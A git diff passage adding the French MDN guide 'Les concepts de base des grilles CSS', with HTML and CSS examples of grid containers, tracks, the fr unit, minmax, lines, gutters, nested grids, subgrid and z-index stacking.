+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS">Placer les éléments sur les lignes d'une grille CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition">Le modèle de grille et les autres modèles de disposition</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille">Utiliser des lignes nommées sur une grille</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille">Définir des zones sur une grille</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS">Le placement automatique sur une grille</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS">L'alignement des boîtes avec les grilles CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture">Les grilles CSS, les valeurs logiques et les modes d'écriture</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité">Les grilles CSS et l'accessibilité</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive">Les grilles CSS et l'amélioration progressive</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Construire_des_dispositions_courantes_avec_des_grilles_CSS">Construire des dispositions courantes avec des grilles CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Subgrid">Les sous-grilles (<em>subgrid</em>)</a></li>
+</ul>
+</div>
+
+<h2 id="Ressources_externes">Ressources externes</h2>
+
+<ul>
+ <li><a href="http://labs.jensimmons.com/">Des exemples créés par Jen Simmons (en anglais)</a></li>
+ <li><a href="http://gridbyexample.com/">Les grilles CSS par l'exemple - un ensemble d'exemples et de tutoriels (en anglais)</a></li>
+ <li><a href="https://tympanus.net/codrops/css_reference/grid/">La référence Codrops sur les grilles CSS (en anglais)</a></li>
+ <li><a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">L'inspecteur de grille dans les outils de développement Firefox</a></li>
+ <li><a href="https://mozilladevelopers.github.io/playground/">Le bac à sable CSS Grid (en anglais)</a></li>
+ <li><a href="http://tomrothe.de/posts/css_grid_and_ie11.html">Les grilles CSS et Internet Explorer 11</a> (<a href="https://github.com/motine/css_grid_annotator">prothèse - <em>polyfill</em></a>)</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Grid 2')}}</td>
+   <td>{{Spec2("CSS Grid 2")}}</td>
+   <td>Ajout des <a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base#Sous-grille">« sous-grilles » (<em>subgrids</em>)</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Grid')}}</td>
+   <td>{{Spec2('CSS3 Grid')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_grid_layout/les_concepts_de_base/index.html b/files/fr/web/css/css_grid_layout/les_concepts_de_base/index.html
new file mode 100644
index 0000000000..c6395dbee9
--- /dev/null
+++ b/files/fr/web/css/css_grid_layout/les_concepts_de_base/index.html
@@ -0,0 +1,625 @@
+---
+title: Les concepts de base des grilles CSS
+slug: Web/CSS/CSS_Grid_Layout/Les_concepts_de_base
+tags:
+  - CSS
+  - CSS Grids
+  - Grilles CSS
+  - Guide
+  - Intermédiaire
+translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p>{{PreviousMenuNext("", "Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS","Web/CSS/CSS_Grid_Layout")}}</p>
+
+<p>Le module <a href="/fr/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a> ajoute à CSS une grille à deux dimensions. Les grilles peuvent être utilisées pour agencer des pages entières ou de petits éléments d'interface. Cet article introduit CSS Grid Layout, et la terminologie de la spécification CSS Grid Layout Level 1. Les fonctionnalités évoquées seront expliquées plus en détail dans le reste du guide.</p>
+
+<h2 id="Qu'est-ce_qu'une_grille">Qu'est-ce qu'une grille ?</h2>
+
+<p>Une grille est un ensemble de lignes horizontales et verticales qui se croisent – les premières définissant les rangées, et les secondes les colonnes. Les éléments sont placés sur la grille en fonction de ces rangées et colonnes. Les fonctionnalités sont les suivantes :</p>
+
+<h3 id="Pistes_à_taille_fixe_ou_variable">Pistes à taille fixe ou variable</h3>
+
+<p>On peut créer une grille avec des pistes à taille fixes en utilisant une unité comme le pixel. Pour les pistes à taille variable on peut utiliser le pourcentage ou la nouvelle unité <code>fr</code> créée à cet effet.</p>
+
+<h3 id="Placement_des_éléments">Placement des éléments</h3>
+
+<p>Pour placer les éléments sur la grille, on peut utiliser le numéro ou le nom d'une ligne, ou cibler une zone particulière. La grille contient aussi un algorithme pour placer les éléments qui n'ont pas été placés explicitement.</p>
+
+<h3 id="Création_de_pistes_supplémentaires_pour_du_contenu">Création de pistes supplémentaires pour du contenu</h3>
+
+<p>Lorsqu'une grille explicite n'est pas définie, la spécification prend en charge le contenu défini en dehors d'une grille en ajoutant des colonnes et des rangées. Cela comprend des fonctionnalités telles qu'« ajouter autant de colonnes que possible dans le conteneur ».</p>
+
+<h3 id="Contrôle_de_l'alignement">Contrôle de l'alignement</h3>
+
+<p>On peut contrôler l'alignement des éléments dans une zone de la grille, ainsi que celui de l'ensemble de la grille.</p>
+
+<h3 id="Contrôle_des_contenus_qui_se_chevauchent">Contrôle des contenus qui se chevauchent</h3>
+
+<p>Il peut arriver que l'on place plusieurs éléments dans une même cellule, ou que des zones se chevauchent. La superposition peut être contrôlée à l'aide de la propriété {{cssxref("z-index")}}.</p>
+
+<p>La grille est une spécification puissante qui peut être combinée avec d'autres modules CSS tels que <a href="/fr/docs/Web/CSS/Disposition_des_boîtes_flexibles_CSS">flexbox</a>. Le point de départ est le <strong>conteneur</strong>.</p>
+
+<h2 id="Le_conteneur">Le conteneur</h2>
+
+<p>À partir du moment où on crée un <em>conteneur</em> en déclarant la propriété <code>display: grid</code> ou <code>display: inline-grid</code> sur un élément, tous les <em>enfants directs </em>de cet élément deviennet des <em>éléments de grille</em>.</p>
+
+<p>Cet exemple montre une div avec une classe <code>.wrapper</code>, avec cinq éléments enfants.</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;Un&lt;/div&gt;
+  &lt;div&gt;Deux&lt;/div&gt;
+  &lt;div&gt;Trois&lt;/div&gt;
+  &lt;div&gt;Quatre&lt;/div&gt;
+  &lt;div&gt;Cinq&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>On transforme <code>.wrapper</code> en conteneur.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Le_conteneur', '200', '330') }}</p>
+
+<p>Tous les enfants directs sont maintenant des éléments de grille. On ne voit pas la différence dans un navigateur, car la grille n'a qu'une seule colonne. Vous trouverez sans doute utile de travailler avec Firefox, qui propose un <a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">inspecteur de grille</a> dans les outils de développement. En inspectant la grille dans Firefox, vous pouvez voir une petite icône à côté de la valeur <code>grid</code>. Un clic dessus permet d'afficher la grille correspondante dans le navigateur.</p>
+
+<p><img alt="Using the Grid Highlighter in DevTools to view a grid" src="https://mdn.mozillademos.org/files/14791/Screen%20Shot%202017-03-17%20at%2014.47.48.png" style="height: 551px; width: 846px;"></p>
+
+<p>Cet outil vous permettra de mieux comprendre le fonctionnement de CSS Grid Layout.</p>
+
+<p>Pour que notre exemple ressemble vraiment à une grille nous devons ajouter des colonnes.</p>
+
+<h2 id="Les_pistes">Les pistes</h2>
+
+<p>Les propriétés {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-rows")}} permettent de définir des colonnes et des rangées. Celles-ci définissent les pistes. Une <em>piste</em> est l'espace entre deux lignes d'une grille. L'image ci-dessous colore une piste de la grille – correspondant à la première rangée de la grille.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14637/1_Grid_Track.png" style="height: 400px; width: 600px;"></p>
+
+<p>On peut ajouter la propriété <code>grid-template-columns</code> à notre exemple précédent, pour définir la taille des colonnes.</p>
+
+<p>Nous avons créé une grille avec trois pistes de 200 pixels de large. Chaque élément sera disposé dans l'une des cellules de la grille.</p>
+
+<div id="grid_first">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;Un&lt;/div&gt;
+  &lt;div&gt;Deux&lt;/div&gt;
+  &lt;div&gt;Trois&lt;/div&gt;
+  &lt;div&gt;Quatre&lt;/div&gt;
+  &lt;div&gt;Cinq&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 200px 200px 200px;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('grid_first', '610', '140') }}</p>
+</div>
+
+<h3 id="L'unité_fr">L'unité fr</h3>
+
+<p>Les pistes peuvent être définies à l'aide de n'importe quelle unité de mesure. Les grilles proposent aussi une nouvelle unité de mesure pour aider à la création de pistes flexibles. Cette unité, <code>fr</code>, représente une fraction de l'espace disponible dans le conteneur de la grille. Le code suivant crée trois colonnes égales qui se redimensionnent en fonction de l'espace disponible.</p>
+
+<div id="fr_unit_ls">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;Un&lt;/div&gt;
+  &lt;div&gt;Deux&lt;/div&gt;
+  &lt;div&gt;Trois&lt;/div&gt;
+  &lt;div&gt;Quatre&lt;/div&gt;
+  &lt;div&gt;Cinq&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('fr_unit_ls', '220', '140') }}</p>
+</div>
+
+<p>L'exemple suivant crée une grille avec une colonne de <code>2fr</code>, et deux colonnes de <code>1fr</code>. L'espace disponible est divisé en quatre. Les deux premières fractions sont allouées à la première colonne, et chacune des colonnes suivante dispose d'une fraction.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+}
+</pre>
+
+<p>Dans ce dernier exemple nous utilisons à la fois des dimensions absolues et des relatives. La première colonne faisant 500px, cette valeur est soustraite de l'espace disponible. L'espace restant est divisé en trois et alloué proportionnellement aux deux colonnes spécifiées avec l'unité relative <code>fr</code>.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 500px 1fr 2fr;
+}
+</pre>
+
+<h3 id="Utiliser_la_notation_repeat()_pour_définir_les_pistes">Utiliser la notation <code>repeat()</code> pour définir les pistes</h3>
+
+<p>Pour les grilles comprenant de nombreuses pistes on peut utiliser la notation <code>repeat()</code> pour répéter toute ou une partie des pistes définies. Par exemple la définition de grille :</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+</pre>
+
+<p>peut également s'écrire :</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<p>Dans l'exemple suivant on crée une grille avec une première colonne de 20px de large, puis une section répétant 6 fois une piste de 1fr, et enfin on termine par une colonne de 20px de large.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 20px repeat(6, 1fr) 20px;
+}
+</pre>
+
+<p>Cette notation accepte une liste de pistes, on peut donc l'utiliser pour répéter un motif. Dans l'exemple qui suit la grille aura 10 colonnes : une colonne de 1fr suivie d'une colonne de 2fr, ceci répété 5 fois.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(5, 1fr 2fr);
+}
+</pre>
+
+<h3 id="Grille_implicite_et_grille_explicite">Grille implicite et grille explicite</h3>
+
+<p>Dans ces exemples nous avons défini nos colonnes à l'aide de la propriété {{cssxref("grid-template-columns")}}, et nous avons laissé la grille créer les rangées. Ces rangées font partie de la grille implicite.La grille explicite est constituée des pistes définies par les propriétés {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-rows")}}. Si un élément est placé en dehors de la grille ainsi définie, ou que la quantité de contenu nécessite d'étendre la grille, alors la grille ajoute implicitement des colonnes et rangées. Les dimensions de ces pistes auront par défaut la valeur auto, c'est-à dire qu'elles s'ajusteront à leur contenu.</p>
+
+<p>On peut définir une taille pour les pistes de la grille implicite grâce aux propriéts {{cssxref("grid-auto-rows")}} et {{cssxref("grid-auto-columns")}}.</p>
+
+<p>Dans l'exemple ci-après nous utilisons <code>grid-auto-rows</code> pour que les rangées de la grille implicite fassent 200 pixels de haut.</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;Un&lt;/div&gt;
+  &lt;div&gt;Deux&lt;/div&gt;
+  &lt;div&gt;Trois&lt;/div&gt;
+  &lt;div&gt;Quatre&lt;/div&gt;
+  &lt;div&gt;Cinq&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 200px;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Grille_implicite_et_grille_explicite', '230', '420') }}</p>
+
+<h3 id="Dimensionner_une_piste_avec_minmax">Dimensionner une piste avec <code>minmax</code></h3>
+
+<p>Que l'on crée une grille explicite, ou que l'on définisse la taille des pistes créées implicitement, il peut être utile d'assigner une taille minimum, qui s'agrandit pour s'adapter au contenu. Par exemple on peut souhaiter que les rangées ne soient jamais moins hautes que 100 pixels, mais qu'elles aillent jusqu'à 300 pixels de haut si le contenu le nécessite.</p>
+
+<p>La fonction {{cssxref("minmax", "minmax()")}} permet ce comportement. Dans l'exemple suivant nous utilisons <code>minmax()</code> comme valeur de la propriété {{cssxref("grid-auto-rows")}}. Les rangées créées automatiquement feront un minimum de 100 pixels, et un maximum de <code>auto</code>, ce qui signifie que la taille s'adaptera à la hauteur du contenu.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;Un&lt;/div&gt;
+   &lt;div&gt;Deux
+     &lt;p&gt;Davantage de contenu.&lt;/p&gt;
+     &lt;p&gt;On dépasse les 100 pixels.&lt;/p&gt;
+   &lt;/div&gt;
+   &lt;div&gt;Trois&lt;/div&gt;
+   &lt;div&gt;Quatre&lt;/div&gt;
+   &lt;div&gt;Cinq&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Dimensionner_une_piste_avec_minmax', '240', '470') }}</p>
+
+<h2 id="Lignes_de_grille">Lignes de grille</h2>
+
+<p>Il faut noter que l'on définit les pistes d'une grille, et pas les lignes qui en résultent. La grille génère des lignes numérotées que l'on utilise pour positionner les éléments. Dans notre grille de trois colonnes et deux rangées, nous avons quatre lignes de colonnes.</p>
+
+<p><img alt="Grid Lines" src="https://mdn.mozillademos.org/files/14793/GRID2.jpg" style="height: 456px; width: 764px;"></p>
+
+<p>Les lignes sont numérotées selon le sens de lecture du document. Dans un langage qui se lit de gauche à droite, la ligne 1 est située à gauche, dans un langage qui se lit de droite à gauche elle est située à droite. Les lignes peuvent aussi être nommées, comme nous le verrons plus loin dans ces pages.</p>
+
+<h3 id="Positionnement_des_éléments_sur_les_lignes">Positionnement des éléments sur les lignes</h3>
+
+<p>Nous explorerons le placement sur les lignes plus en détail dans un prochain article, l'exemple qui suit montre comment l'utiliser de façon simple.</p>
+
+<p>Lorsque nous plaçons un élément nous ciblons une ligne plutôt qu'une piste. Nous plaçons ici les deux premiers éléments en utilisant les propriétés {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} et {{cssxref("grid-row-end")}}. En allant de gauche à droite, le premier élément est placé sur la ligne de colonne 1, et va jusqu'à la ligne de colonne 4, qui dans ce cas est la dernière. Il est placé sur la ligne de rangée 1, et va jusqu'à la ligne 3, s'étendant ainsi sur deux rangées.</p>
+
+<p>Le second élément commence sur la ligne de colonne 1 et s'étend sur une seule piste. C'est la largeur par défaut, donc il n'est pas nécessaire de spécifier la ligne de fin. Il s'étend aussi sur deux rangées de la ligne 3 à la ligne 5. Les autres éléments se placeront dans les espaces vides de la grille.</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;Un&lt;/div&gt;
+  &lt;div class="box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box3"&gt;Trois&lt;/div&gt;
+  &lt;div class="box4"&gt;Quatre&lt;/div&gt;
+  &lt;div class="box5"&gt;Cinq&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 3;
+  grid-row-end: 5;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Positionnement_des_éléments_sur_les_lignes', '230', '420') }}</p>
+
+<p>Pensez à utiliser l'<a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Inspecteur de grille</a> dans les outils de développement pour voir comment les éléments se placent sur les lignes d'une grille items.</p>
+
+<h2 id="Les_cellules">Les cellules</h2>
+
+<p>Une <em>cellule</em> est la plus petite unité sur une grille, conceptuellement similaire à une cellule de tableau. Comme nous l'avons vu lorsqu'une grille est définie sur un élément ses enfants viennent se positionner chacun dans l'une des cellules de la grille. Dans l'image ci-dessous la première cellule est colorée.</p>
+
+<p><img alt="The first cell of the grid highlighted" src="https://mdn.mozillademos.org/files/14643/1_Grid_Cell.png" style="height: 400px; width: 600px;"></p>
+
+<h2 id="Les_zones">Les zones</h2>
+
+<p>Un élément peut s'étendre sur plusieurs cellules d'une rangée ou d'une colonne, et cela crée une <em>zone</em>. Les zones doivent être rectangulaires - on ne peut pas créer de forme en L par exemple. La zone colorée ci-dessous s'étend sur deux rangées et deux colonnes.</p>
+
+<p><img alt="A grid area" src="https://mdn.mozillademos.org/files/14645/1_Grid_Area.png" style="height: 400px; width: 600px;"></p>
+
+<h2 id="Les_gouttières">Les gouttières</h2>
+
+<p>Les <em>gouttière</em><em>s</em> entre les cellules sont définies à l'aide des propriétés {{cssxref("grid-column-gap")}} et {{cssxref("grid-row-gap")}}, ou de la propriété raccourcie {{cssxref("grid-gap")}}. Dans l'exemple ci-dessous nous créons une gouttière de dix pixels de large entre les colonnes, et une gouttière de 1em de hauteur entre les rangées.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-column-gap: 10px;
+  grid-row-gap: 1em;
+}
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Les anciens navigateurs utilisent {{cssxref("column-gap")}}, {{cssxref("row-gap")}}, {{cssxref("gap")}} avec le préfixe <code>grid-</code> soit : {{cssxref("grid-column-gap")}}, {{cssxref("grid-row-gap")}} et {{cssxref("grid-gap")}}.</p>
+
+<p>Les navigateurs actuels retirent progressivement ce préfixe (la version préfixée sera maintenue sous forme d'alias). À l'heure actuelle, certains navigateurs ne prennent pas encore la version sans préfixe et c'est pourquoi certains exemples de ce guide continuent d'utiliser les versions préfixées avec <code>grid-</code>.</p>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;Un&lt;/div&gt;
+  &lt;div&gt;Deux&lt;/div&gt;
+  &lt;div&gt;Trois&lt;/div&gt;
+  &lt;div&gt;Quatre&lt;/div&gt;
+  &lt;div&gt;Cinq&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Les_gouttières') }}</p>
+
+<p>L'espace utilisé par les gouttières sera pris en compte avant l'assignation de la place restante aux pistes définies avec l'unité <code>fr</code>. La taille des gouttières est calculée comme celle des pistes, mais on ne peut pas placer d'élément dans une gouttière. Au niveau du positionnement des éléments sur les lignes, la gouttière se comporte comme une ligne épaisse.</p>
+
+<h2 id="Grilles_imbriquées">Grilles imbriquées</h2>
+
+<p>Un élément placé dans une grille peut aussi être le conteneur d'une autre grille. Dans l'exemple suivant nous retrouvons la grille de trois colonnes créée plus haut, avec deux éléments explicitement positionnés. Le premier élément contient lui-même des éléments. Comme ils ne sont pas des enfants directs de la grille principale, ils se positionnent normalement dans le flux.</p>
+
+<div id="nesting">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box box1"&gt;
+    &lt;div class="nested"&gt;a&lt;/div&gt;
+    &lt;div class="nested"&gt;b&lt;/div&gt;
+    &lt;div class="nested"&gt;c&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="box box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box box3"&gt;Trois&lt;/div&gt;
+  &lt;div class="box box4"&gt;Quatre&lt;/div&gt;
+  &lt;div class="box box5"&gt;Cinq&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p><img alt="Nested grid in flow" src="https://mdn.mozillademos.org/files/14795/grid3.jpg" style="height: 512px; width: 900px;"></p>
+
+<p>En définissant la propriété <code>display:grid</code> sur l'élément <code>box1</code>, il devient lui-même une grille et ses enfants se positionnent sur cette grille.</p>
+
+<pre class="brush: css">.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.box {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('nesting', '600', '340') }}</p>
+
+<p>Dans ce cas la grille imbriquée n'est pas liée à la grille qui la contient. Elle n'hérite pas des {{cssxref("grid-gap")}}, et ses lignes ne s'alignent pas avec celles de la grille parent.</p>
+
+<h3 id="Sous-grille">Sous-grille</h3>
+
+<p>Dans le brouillon de travaille pour la spécification de niveau 2 pour CSS Grid, il existe une fonctionnalité nommée <em>sous-grille</em> qui permet de créer des grilles imbriquées qui utilisent la définition de la grille parent. <em>Ceci n'est implémenté dans aucun navigateur pour le moment, et la spécification peut encore changer.</em> Pour l'utiliser telle qu'elle est définie actuellement il faudrait modifier l'exemple suivant et remplacer <code>display: grid</code> par <code>display: subgrid, </code>et supprimer la définition des pistes. La piste imbriquée utiliserait les pistes de la grille parent pour positionner ses éléments.</p>
+
+<p>Selon la version actuelle de la spécifiction, il faudrait éditer l'exemple de grille imbriquée précédent et remplacer <code>grid-template-columns: repeat(3, 1fr)</code> en <code>grid-template-columns: subgrid</code>. La grille imbriquée utilisera alors la grille parente pour inscrire ses éléments dans le document.</p>
+
+<pre class="brush: css">.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  display: grid;
+  grid-template-columns: subgrid;
+}
+</pre>
+
+<h2 id="Superposer_les_éléments_avec_z-index">Superposer les éléments avec <code>z-index</code></h2>
+
+<p>Plusieurs éléments peuvent être placés dans la même cellule. Si nous retournons à notre exemple avec les items positionnés par numéros de ligne, nous pouvons modifier cela pour que deux items se chevauchent.</p>
+
+<div id="l_ex">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box box1"&gt;Un&lt;/div&gt;
+  &lt;div class="box box2"&gt;Deux&lt;/div&gt;
+  &lt;div class="box box3"&gt;Trois&lt;/div&gt;
+  &lt;div class="box box4"&gt;Quatre&lt;/div&gt;
+  &lt;div class="box box5"&gt;Cinq&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 2;
+  grid-row-end: 4;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+.box {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('l_ex', '230', '420') }}</p>
+
+<p>L'élément <code>box2</code> est maintenant superposé avec <code>box1</code>, et comme il arrive après dans le code source il s'affiche par-dessus.</p>
+
+<h3 id="Contrôler_l’ordre_de_superposition">Contrôler l’ordre de superposition</h3>
+
+<p>On peut contrôler l'ordre dans lequel les éléments s'empilent en utilisant la propriété <code>z-index</code>. Si nous donnons à <code>box2</code> un <code>z-index</code> inférieur à celui de <code>box1</code>, l'élément <code>box2</code> s'affichera sous <code>box1</code> dans la pile.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  z-index: 2;
+}
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 2;
+  grid-row-end: 4;
+  z-index: 1;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+    &lt;div class="box box1"&gt;Un&lt;/div&gt;
+    &lt;div class="box box2"&gt;Deux&lt;/div&gt;
+   &lt;div class="box box3"&gt;Trois&lt;/div&gt;
+   &lt;div class="box box4"&gt;Quatre&lt;/div&gt;
+   &lt;div class="box box5"&gt;Cinq&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.box {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
